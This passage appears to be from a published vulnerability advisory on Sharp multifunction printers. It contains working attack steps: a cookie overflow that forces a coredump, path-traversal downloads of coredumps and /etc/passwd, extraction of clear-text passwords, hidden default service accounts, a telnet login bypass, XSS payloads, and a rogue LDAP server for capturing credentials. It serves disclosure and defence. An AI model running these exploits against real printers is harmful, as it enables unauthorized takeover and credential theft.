 16120921 May 11 15:18 core-main.log.gz.001    -rw-r--r--  1 root root  13566117 May 11 15:16 core-main.log.gz.002    -rw-r--r--  1 root root  17158453 May 11 15:12 core-main.log.gz.003    -rw-r--r--  1 root root  17332354 May 11 12:32 core-main.log.gz.004    -rw-r--r--  1 root root  20440117 May 11 12:28 core-main.log.gz.005    -rw-r--r--  1 root root  22170528 May 10 11:47 core-main.log.gz.006    -rw-r--r--  1 root root         0 Jan  1  2000 core-main.log.gz.007    ...    sh-4.3# cd /mnt/log && ls -la|grep ERR    -rw-r--r--  1 root root         0 May 15 14:11 ERR_IFS.log    -rw-r--r--  1 root root  17316180 May 15 14:11 ERR_core-main.log.gz    -rw-r--r--  1 root root         0 May 15 14:11 ERR_core-pdl.log.gz    -rw-r--r--  1 root root     97316 May 15 14:11 ERR_kern.log    -rw-r--r--  1 root root         0 May 15 14:11 ERR_log_ui_mainview.log    -rw-r--r--  1 root root    314188 May 15 14:11 ERR_main.log    -rw-r--r--  1 root root       315 May 15 14:11 ERR_nf.log    -rw-r--r--  1 root root     21262 May 15 14:11 ERR_pdl.log    sh-4.3#The files are world-readable and contain valid coredump files as shown below:    kali% file core-main.log    core-main.log: ELF 32-bit LSB core file, ARM, version 1 (SYSV),SVR4-style, from '/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask-nodlychk', real uid: 0, effective uid: 0, real gid: 0, effectiveThe core file contains in clear-text:- - session IDs;- - password for all the users (even when the printer booted and nouser logged into the printer (!));- - emails;- - Encryption keys.For example, some keys:    kali% strings core-main.log|grep -A 4 -B 4 ENCRYPT_KEY    CloudPollingConst    VENDOR_KEY    YiqUwHIymoiuwFPjja04u+Q+zeokggNSuYv4g+axNAIx4vwnnrPmfsFrAsqZr4RFeR6EgwWRvzgledwTz9MZAw==    TENANT_ENCRYPT_KEY    GMuQt[REDACTED]The core file contains the password (`PASS-PIERRE`) of the admin usereven when the admin user has not been logged-in the printer since theprinter booted:    kali% zcat core-main.log.gz.001 | strings | grep PASS-PIERRE    PASS-PIERREAll the clear-text passwords can be found inside the core file:    kali% zcat core-main.log.gz.001 | strings | less    /mnt/std01/ACCBURS/    /mnt/std04/ACC/BROWSER/BROWSER_NONUSR    /mnt/std01/ACC/AccBackUp/BROWSER_NONUSR    /mnt/std01/ACC/AccUserInfo    /mnt/std04/ACC    /mnt/std01/ACC/AccUserInfo2    /mnt/std04/ACC/BROWSER    /mnt/std01/ACC/AccGrpPrmtInfo    /mnt/std01/ACCBURS    /mnt/std01/ACC/AccFlashUserCounter    /mnt/std01/ACC/AccFlashBackUp    /mnt/std01/ACC/AccTotalPix    /mnt/std01/ACC/AccBackUp/JobInfo    Other User    Other    Vender    Vender    Administrator    admin    PASS-PIERRE <------------------- clear-text password for admin    Service    service    service    User    users    users    Vender2    Vender2    FSS User    servicefss    servicefss    System Operator    sysadmin    sysadmin    Device Account    deviceaccount    deviceaccount    /mnt/std01/ACC/AccGrpHomeInfo    /mnt/std01/ACC/AccBackUp    /mnt/std01/ACC    /mnt/std01/ACC/AccUserPixel    /mnt/std01/ACC/BROWSER    /mnt/std01/ACC/AccGrpCstmInfoThere is no encryption for the /mnt/log partition:    sh-4.3# df -h /mnt/log    Filesystem      Size  Used Avail Use% Mounted on    /dev/mmcblk0p3  791M  145M  589M  20% /mnt/log    sh-4.3#All the passwords can be found inside the core file after the printerjust booted and no user logged: this is abnormal and shows theauthentication mechanism is incorrectly implemented.A local attacker can extract all the passwords.A remote attacker using an additional vulnerability (e.g. Local FileInclusion) can recover all the passwords and compromise the printer(see the next vulns).## Details - Arbitrary Directory Listing without authenticationIt was observed that Sharp printers are vulnerable to an arbitrarydirectory listing without authentication. Any attacker can list anydirectory located in the printer and recover any file.It is possible to list the manual index files by visiting the`/installed_emanual_list.html` without authentication:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]By changing the folder argument in the address, it is possible tobrowse the entire file systems of the printer.Request to `installed_emanual_list.html?folder=../../../` will listthe `/` file system:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]Files located in /etc:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]Using the vulnerability [Local File Inclusion allowing to read anyfile (e.g. Coredump files), it is then possible to download any file.An attacker can browse the file systems of the printers and download any file.A remote attacker can recover all the passwords by downloadingcoredump files and compromise the printer.## Details - Local File Inclusion allowing to read any file (e.g.Coredump files) without authenticationIt was observed that Sharp printers are vulnerable to a local fileinclusion without authentication. Any attacker can read any filelocated in the printer.Normal request to retrieve the manual index files:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]By default, the manual index files are located in /mnt/std_data/manualinside the printer:    sh-4.3# pwd    /mnt/std_data/manual    sh-4.3# ls -la MX-M4071_inch_web.idx    -rw-rw-r-- 1 1000 pulse 1564 Jul 30  2020 MX-M4071_inch_web.idx    sh-4.3# ls -la    total 233    drwxrwxr-x  4 1000 pulse 2536 Jul 31  2020 .    drwxr-xr-x  9 root root  4096 Mar  1  2022 ..    -rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_ab_web.idx    -rw-rw-r--  1 1000 pulse  562 Jul 30  2020 MX-M2651_aus_web.idx    -rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_canada_web.idx    -rw-rw-r--  1 1000 pulse 9590 Jul 30  2020 MX-M2651_europe_web.idx    -rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_inch_web.idx    -rw-rw-r--  1 1000 pulse  562 Jul 30  2020 MX-M2651_uk_web.idx    -rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M2651_usa_web.idx    -rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M3051_ab_web.idx    -rw-rw-r--  1 1000 pulse  562 Jul 30  2020 MX-M3051_aus_web.idx    -rw-rw-r--  1 1000 pulse 1564 Jul 30  2020 MX-M3051_canada_web.idx    -rw-rw-r--  1 1000 pulse 9590 Jul 30  2020 MX-M3051_europe_web.idxThe normal request is:    GET /installed_emanual_down.html?path=/manual/MX-M4071_inch_web.idx HTTP/1.1    Host: 10.0.0.1    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)Gecko/20100101 Firefox/102.0    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8    Accept-Language: en-US,en;q=0.5    Accept-Encoding: gzip, deflate    Connection: close    Upgrade-Insecure-Requests: 1The `path=` argument can be manipulated to retrieve any file in theprinter. The session cookie is not required as this vulnerability doesnot require authentication:For example, retrieving /etc/passwd:    GET /installed_emanual_down.html?path=/manual/../../../etc/passwd  HTTP/1.1    Host: 10.0.0.1    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)Gecko/20100101 Firefox/102.0    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8    Accept-Language: en-US,en;q=0.5    Accept-Encoding: gzip, deflate    Connection: close    Upgrade-Insecure-Requests: 1[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]It is possible to generate a coredump file, download it and extractcredentials to remotely compromise the printer without credentialsusing this vulnerability along with the vulnerabilities:- - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication- - Memory corruption in the main program - Remote Code Executionagainst the web server without authentication- - World-readable coredump files and insecure storage of credentials### Generation of the coredump file on the printerUsing the HTTP request:    kali% var=`perl -e "print 'A'x639"`; curl -v -b"MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html    *   Trying 10.0.0.1:80...    * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)    > GET /system.html HTTP/1.1    > Host: 10.0.0.1    > User-Agent: curl/7.88.1    > Accept: */*    > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB    >### Local File Inclusion of the coredump fileWe download the coredump file using the Local File Inclusion:    kali% curl -i -s -k -X $'GET' \        -H $'Host: 10.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linuxx86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip,deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \        $'http://10.0.0.1/installed_emanual_down.html?path=/manual/../../../mnt/log/core-main.log.gz.001'> core-main.log.gz.001    kali% ls -la    total 16920    drwx------ 2 user user     4096 May 15 10:13 .    drwx------ 6 user user     4096 May 15 10:13 ..    -rw------- 1 user user 17316455 May 15 10:13 core-main.log.gz.001    kali% head -n 9 core-main.log.gz.001    HTTP/1.1 200 OK    Server: Rapid Logic/1.1    MIME-version: 1.0    Date: Thu Jan  1 00:02:12 1970 GMT    Content-Type: application/octet-stream; name=core-main.log.gz.001    Content-disposition: attachment; filename=core-main.log.gz.001    Content-Length: 17316180    Connection: closeWe remove the first 9 lines from the core file (corresponding to HTTPheaders) to generate a valid gzip file:    kali% vi core-main.log.gz.001    kali% file core-main.log.gz.001    core-main.log.gz.001: gzip compressed data, last modified: Mon May15 14:09:45 2023, from Unix, original size modulo 2^32 176379936 gzipcompressed data, reserved method, ASCII, has CRC, has comment,encrypted, from FAT filesystem (MS-DOS, OS/2, NT), original sizemodulo 2^32 176379936    kali%### Retrieve of credentials using the coredump filesThe core file contains the password (`PASS-PIERRE`) of the admin usereven when the admin user has not been logged-in to the printer sincethe printer booted:All the passwords can be found inside the core file, located near the`admin` string:    kali% zcat core-main.log.gz.001 | strings | less    /mnt/std01/ACCBURS/    /mnt/std04/ACC/BROWSER/BROWSER_NONUSR    /mnt/std01/ACC/AccBackUp/BROWSER_NONUSR    /mnt/std01/ACC/AccUserInfo    /mnt/std04/ACC    /mnt/std01/ACC/AccUserInfo2    /mnt/std04/ACC/BROWSER    /mnt/std01/ACC/AccGrpPrmtInfo    /mnt/std01/ACCBURS    /mnt/std01/ACC/AccFlashUserCounter    /mnt/std01/ACC/AccFlashBackUp    /mnt/std01/ACC/AccTotalPix    /mnt/std01/ACC/AccBackUp/JobInfo    Other User    Other    Vender    Vender    Administrator    admin    PASS-PIERRE <--------------------- clear-text password for admin    Service    service    service    User    users    users    Vender2    Vender2    FSS User    servicefss    servicefss    System Operator    sysadmin    sysadmin    Device Account    deviceaccount    deviceaccount    /mnt/std01/ACC/AccGrpHomeInfo    /mnt/std01/ACC/AccBackUp    /mnt/std01/ACC    /mnt/std01/ACC/AccUserPixel    /mnt/std01/ACC/BROWSER    /mnt/std01/ACC/AccGrpCstmInfo### Retrieve of credentials using configuration filesThe configuration files containing the credentials can be found in the/mnt/std04/DBMS/uaccnt.When a password is updated, the files present in`/mnt/std04/DBMS/uaccnt/*` will be updated. It is possible to retrievesome credentials from these files:    sh-4.3# pwd    /mnt/std04/DBMS/uaccnt    sh-4.3# hexdump -C 9.01    00000000  ff ff ff bf ff ff ff ff  ff ff ff ff ff ff ff ff|................|    00000010  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff|................|    [...]    00005010  61 64 6d 69 6e 02 00 00  00 00 d0 00 00 64 65 76|admin........dev|    00005020  69 63 65 61 63 63 6f 75  6e 74 09 00 00 00 00 50|iceaccount.....P|    00005030  00 00 4f 74 68 65 72 01  00 00 00 00 70 00 00 73|..Other.....p..s|    00005040  65 72 76 69 63 65 04 00  00 00 07 30 00 00 66 73|ervice.....0..fs|    00005050  73 07 00 00 00 01 70 00  00 79 73 61 64 6d 69 6e|s.....p..ysadmin|    00005060  08 00 00 00 00 50 00 00  75 73 65 72 73 05 00 00|.....P..users...|    00005070  00 00 60 00 00 56 65 6e  64 65 72 03 00 00 00 06|..`..Vender.....|    00005080  10 00 00 32 06 00 00 00  00 00 00 00 00 00 00 00|...2............|    00005090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00|................|    [...]    sh-4.3#An attacker can download these files and analyze them to retrieve the passwords.## Details - Backdoor webpage - Listing of session cookies withoutauthenticationIt was observed that Sharp printers are vulnerable to a listing ofsession cookies without authentication. Any attacker can list validcookies by visiting a backdoor webpage and use them to authenticate tothe printers.It is possible to list the `MFPSESSIONID` session cookies by visitingthe `/sessionlist.html` webpage without authentication:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]It is also possible to use curl from another machine:    kali% curl -kv http://10.0.0.1/sessionlist.html    [...]            <h2>Session list</h2>        <table  class="matrix">            <tr>                    <th>No.</th>                    <th>User</th>                    <th>From</th>                    <th>Last login</th>                    <th>Last access</th>                    <th>Language ID</th>                    <th>Cookie</th>            </tr>                    <tr>                            <td>0000</td>                            <td>Administrator</td>                            <td>10.0.0.10</td>                            <td>2023/05/16(Tue) 13:35:38</td>                            <td>2023/05/16(Tue) 13:35:38</clearTOStd>                            <td>02</td><td>MFPSESSIONID=0200736B459709ABA789505BF27D765756D39B82B7ADE25E302820230516133538428B5C9D</td>                    </tr>            </table>    [...]An attacker can retrieve valid session cookies and compromise the printer.Note that a victim user must have been logged inside the printer priorto this attack in order to retrieve the corresponding session cookies.## Details - Configuration webpages reachable without authenticationIt was observed that some authenticated webpages are reachable withoutauthentication on Sharp printers. Any attacker can modify parameterson these webpages without authentication.A list of webpages supposed to require authentication but reachablewithout authentication is listed below:- - /address_smime_install.html- - /send_fax_fcode_entry.html- - /send_fax_fcode_entry_relay.html- - /send_fax_fcode.html- - /send_inbound_address_entry.html- - /send_inbound_entry.html- - /send_inbound.html- - /send_receive_fw.html- - /printer_ps.htmlFor example, `/printer_ps.html`:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]An attacker can modify parameters of the printers without authentication.The vendor confirmed this is the attended behavior.## Details - Reboot without authentication - Remote DoSIt was observed that a specific webpage is reachable withoutauthentication on Sharp printers. Any attacker can use this webpage toreboot the printer.It is possible to reboot the printer by visiting the/sys_trayentryreboot.html without authentication.When confirming the `Reboot Now` action, the printer will reboot:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The printer will then reboot and will be unreachable for some minutes:    PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.    ^C    --- 10.0.0.1 ping statistics ---    5 packets transmitted, 0 received, 100% packet loss, time 4083msAn attacker can DoS the printer by rebooting it indefinitely.## Details - Backdoor access - ServiceSharp printers are configured with default credentials. Some accountsare hidden and can be abused by attackers to compromise the printers.When analyzing the configuration of the printers, it appears there areseveral accounts visible on the web interface:- - `Administrator` (uid 3)- - `System Administrator` (uid 8, as `System Operator`)- - `User` (uid 5)- - `Device Account` (uid 9)- - `Other User` (uid 1)After doing reverse engineering, the default passwords have been obtained:- - System Administrator: sysadmin- - User: users- - Device Account: deviceaccount- - Other User: OtherThe Service account (corresponding to uid 4) does not appear on theuser list, is not documented and allows an attacker to change theconfiguration of the printers and update the firmware image. Thepassword for Service is `service`.Several webpages can be found corresponding to this service user:- - /devicecloning_pp.html- - /devicecloning.html- - /service_ura_status_page.html- - /service_testpage_ok.html- - /service_testpage.html- - /service_syslog_view.html- - /service_syslog_settings_storage.html- - /service_syslog_settings_server.html- - /service_syslog_setting.html- - /service_syslog_select.html- - /service_syslog_save.html- - /service_syslog_download.html- - /service_softsw.html- - /service_reboot.html- - /serfildata_savepc.html- - /service_account.html- - /service_admin.html- - /service_device_cloning.html- - /service_filingdata.html- - /service_testpage.html- - /service_firm.html- - /service_testpage.html- - /service_font_down.html- - /service_joblog.html- - /service_joblog_list.html- - /service_joblog_download.html- - /service_joblog_select.html- - /service_joblog_list_download.html- - /service_machineid.html- - /service_password.html- - /sys_paperproperty.html- - /sys_paperproperty_entry.htmlListing of users:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The service account can be discovered by visiting the webpagehttp://[ip]/account_user_entry.html?userid=-4 but the informationcannot be edited:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The `service` account can be used to change the configuration of theprinter. The default webpage is http://[ip]/service_testpage.html andprovides access to a lot of hidden functionalities:- - Device Cloning- - Update of the firmware image to insert a malicious firmware image- - Export settings- - Configuration of the log server (disabling the logs, erasing the logs, ...)Device cloning:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]Update of the firmware:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]An attacker can use this additional backdoor account to compromise the printers.## Details - Backdoor access - FSS UserSharp printers are configured with default credentials. Some accountsare hidden and can be abused by attackers to compromise the printers.When analyzing the configuration of the printers, it appears there areseveral accounts visible on the web interface:- - `Administrator` (uid 3)- - `System Administrator` (uid 8, as `System Operator`)- - `User` (uid 5)- - `Device Account` (uid 9)- - `Other User` (uid 1)After doing reverse engineering, the default passwords have been obtained:- - System Administrator: sysadmin- - User: users- - Device Account: deviceaccount- - Other User: OtherThe FSS User account (corresponding to uid 7) does not appear on theuser list, is not documented and allows an attacker to change theconfiguration of the printers and update the firmware image.The password for FSS User is `servicefss`.The FSS User has also admin privileges.Several webpages can be found corresponding to this service user:- - /fss_default.html- - /fss.html- - /fss_password.html- - /fss_account.html- - /fss_backup_export.html- - /fss_backup.html- - /fss_backup_reboot.htmlThe service account can be discovered by visiting the webpagehttp://[ip]/account_user_entry.html?userid=-7 but the informationcannot be edited:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The FSS User account can be used to change the configuration of theprinter. The default webpage is http://[ip]/fss.html and providesaccess to hidden functionalities related to the support and a blindSSRF vulnerability:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]Reboot of the printer:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]An attacker can use this additional backdoor account to compromise the printers.## Details - Insecure default credentialsSharp printers are configured with default and insecure credentials.When doing reverse engineering against the `main` binary locatedinside the Sharp firmware image, we can extract the list of passwordsfor:- - `Administrator` / `admin`- - `Other User` / `Other`- - `Device Account` / `deviceaccount`- - `FSS User` / `servicefss`- - `Service` / `service`- - `User` / `users`- - `System Operator` / `sysadmin`Listing of username when analyzing main:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The listing of users can be retrieved from the web interface, usingthe admin user:- - `Other User` - http://[ip]/account_user_entry.html?userid=-1- - `Vender` - http://[ip]/account_user_entry.html?userid=-2- - `Administrator` - http://[ip]/account_user_entry.html?userid=-3- - `Service` - http://[ip]/account_user_entry.html?userid=-4- - `User` - http://[ip]/account_user_entry.html?userid=-5- - `Vender2` - http://[ip]/account_user_entry.html?userid=-6- - `FSS User` - http://[ip]/account_user_entry.html?userid=-7, withadmin privileges- - `System Operator` - http://[ip]/account_user_entry.html?userid=-8- - `Device Account` - http://[ip]/account_user_entry.html?userid=-9,with admin privilegesAn attacker can use these default accounts to compromise the printers.The vendor confirmed this is the attended behavior.## Details - read admin access on telnetIt is possible to bypass the authentication of the telnet server ofany Sharp Printer (running any firmware version) by specifying aninvalid user.This authentication bypass provides an attacker with a full READ adminaccess to the printer.Without the corresponding password of the admin user, the access will be denied:    kali% telnet 10.0.0.1    Trying 10.0.0.1...    Connected to 10.0.0.1.    Escape character is '^]'.    SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.    Copyright(C) 2005-     SHARP CORPORATION    Copyright(C) 2005-     silex technology, Inc.    login: admin    'admin' user needs password to login.    password:    Login incorrect.    Connection closed by foreign host.    kali%It is possible to send an invalid username (e.g.`adminAAAAAAAAAAAAAAAA[...]`) to bypass the authentication and getREAD access with admin privileges:    kali% telnet 10.0.0.1    Trying 10.0.0.1...    Connected to 10.0.0.1.    Escape character is '^]'.    SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.    Copyright(C) 2005-     SHARP CORPORATION    Copyright(C) 2005-     silex technology, Inc.    login: adminAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    User 'adminAAA' logged in.     No.  Item                                Value            (level.1)    ----------------------------------------------------------------------      1 : Configure General      2 : Configure TCP/IP      3 : Configure NetWare      4 : Configure AppleTalk      5 : Configure NetBIOS      6 : Configure AP I/F      7 : Configure Gateway     97 : Display Status     98 : Reset Settings to Defaults     99 : Exit    Please select(1 - 99)? 1     No.  Item                                Value            (level.2)    ----------------------------------------------------------------------      1 : Print status page after bootup    : NO      2 : SSL Mode                          : ALL      3 : Rendezvous Enable                 : ENABLE      4 : Rendezvous Name                   : "MX-M365N"      5 : SMBC Enable                       : ENABLE      6 : 802.1X auth      7 : Frame Size                        : 1514      8 : SMB Authentication Flags          : 15     99 : Back to prior menu    Please select(1 - 99)? 99     No.  Item                                Value            (level.1)    ----------------------------------------------------------------------      1 : Configure General      2 : Configure TCP/IP      3 : Configure NetWare      4 : Configure AppleTalk      5 : Configure NetBIOS      6 : Configure AP I/F      7 : Configure Gateway     97 : Display Status     98 : Reset Settings to Defaults     99 : Exit    Please select(1 - 99)?## Details - XSS on the /login.html pageThere are 2 reflected XSS vulnerabilities located in the `/login.html` webpage.HTTP request sent to `/login.html`, with the query string containingthe payload `<XSS>";alert('XSS');"`:The first XSS appears on the response on line 32:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The second XSS appears on the response on line 183:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]## Details - XSS on all other HTML pagesThere are 3 reflected XSS vulnerabilities located in all the html webpages.An attacker can send a HTTP request to any HTML webpage with the querystring containing `";alert(1);<XSS>` to trigger:- - 2 JavaScript-based XSS- - 1 HTML based XSSThe HTTP request is sent to `/main.html`, with the query stringcontaining the payload `";alert(1);<XSS>`:The first XSS appears on the response on line 32:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The second XSS appears on the response on line 87:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The third XSS appears on the response on line 221:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]- From the tests, all the HTML webpages are vulnerable to these 3 XSS.## Details - Exfiltration of LDAP credentials by downgrading the securitySharp printers can be configured with a connection to a LDAP server,with credentials.While the LDAP password is not shown on the web interface, an attackerwith the admin password can retrieve the password by downgrading theauthentication type to `SIMPLE`, which will enable clear-textcommunication to a malicious server.With the `Connect Test`, an attacker can downgrade the security of theauthentication to `SIMPLE` and retrieve the password in clear-text byspecifying a malicious OpenLDAP server:LDAP Configuration - http://10.0.0.1/nw_ldap_entry.html?ldapid=0:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]With a malicious OpenLDAP server receiving the connection, thepassword will be displayed in the logs:    kali# /usr/sbin/slapd -d 10 -f /etc/ldap/slapd.conf  -h "ldap:/// ldaps:///"    6458d55e.3103c227 0x7fe72981e200 @(#) $OpenLDAP: slapd2.5.13+dfsg-5 (Feb  8 2023 01:56:12) $            Debian OpenLDAP Maintainers<[email protected]>    6458d55e.319e91af 0x7fe72981e200 slapd starting    6458d55e.31a5bad7 0x7fe727bff6c0 daemon: added 4r listener=(nil)    6458d55e.31a6707c 0x7fe727bff6c0 daemon: added 7r listener=0x5586390ead60    6458d55e.31a6b53d 0x7fe727bff6c0 daemon: added 8r listener=0x5586390eae30    6458d55e.31a6f00d 0x7fe727bff6c0 daemon: added 9r listener=0x5586390ea740    6458d55e.31a7661d 0x7fe727bff6c0 daemon: added 10r listener=0x5586390ea810    6458d55e.31a94b33 0x7fe727bff6c0 daemon: epoll: listen=7active_threads=0 tvp=zero    6458d55e.31a96f6a 0x7fe727bff6c0 daemon: epoll: listen=8active_threads=0 tvp=zero    6458d55e.31a97916 0x7fe727bff6c0 daemon: epoll: listen=9active_threads=0 tvp=zero    6458d55e.31a981b7 0x7fe727bff6c0 daemon: epoll: listen=10active_threads=0 tvp=zero    6458d55e.31a9933f 0x7fe727bff6c0 daemon: activity on 1 descriptor    6458d55e.31a99baf 0x7fe727bff6c0 daemon: activityon:6458d55e.31a9a375 0x7fe727bff6c0    6458d55e.31a9b6dc 0x7fe727bff6c0 daemon: epoll: listen=7active_threads=0 tvp=zero    6458d55e.31a9d392 0x7fe727bff6c0 daemon: epoll: listen=8active_threads=0 tvp=zero    6458d55e.31a9dc6e 0x7fe727bff6c0 daemon: epoll: listen=9active_threads=0 tvp=zero    6458d55e.31a9f2b6 0x7fe727bff6c0 daemon: epoll: listen=10active_threads=0 tvp=zero    6458d562.355e84dc 0x7fe727bff6c0 daemon: activity on 1 descriptor    6458d562.355f3b42 0x7fe727bff6c0 daemon: activityon:6458d562.355f593f 0x7fe727bff6c0    6458d562.355fde77 0x7fe727bff6c0 daemon: epoll: listen=7 busy    6458d562.355ffeb9 0x7fe727bff6c0 daemon: epoll: listen=8active_threads=0 tvp=zero    6458d562.35601b67 0x7fe727bff6c0 daemon: epoll: listen=9active_threads=0 tvp=zero    6458d562.3560372e 0x7fe727bff6c0 daemon: epoll: listen=10active_threads=0 tvp=zero    6458d562.35638596 0x7fe7273fe6c0 daemon: accept() = 14    6458d562.35646744 0x7fe7273fe6c0 daemon: listen=7, new connection on 14    6458d562.3564fc1e 0x7fe727bff6c0 daemon: activity on 1 descriptor    6458d562.35656f57 0x7fe727bff6c0 daemon: activityon:6458d562.35658b4c 0x7fe727bff6c0    6458d562.3565d7f5 0x7fe727bff6c0 daemon: epoll: listen=7active_threads=0 tvp=zero    6458d562.3565fb50 0x7fe727bff6c0 daemon: epoll: listen=8active_threads=0 tvp=zero    6458d562.356615c1 0x7fe727bff6c0 daemon: epoll: listen=9active_threads=0 tvp=zero    6458d562.35662d31 0x7fe727bff6c0 daemon: epoll: listen=10active_threads=0 tvp=zero    6458d562.35691b42 0x7fe7273fe6c0 daemon: added 14r (active) listener=(nil)    6458d562.356a5b81 0x7fe727bff6c0 daemon: activity on 2 descriptors    6458d562.356b0c68 0x7fe727bff6c0 daemon: activityon:6458d562.356b54fa 0x7fe727bff6c0  14r6458d562.356b948e0x7fe727bff6c0    6458d562.356bfc9e 0x7fe727bff6c0 daemon: read active on 14    6458d562.356ce70e 0x7fe727bff6c0 daemon: epoll: listen=7active_threads=0 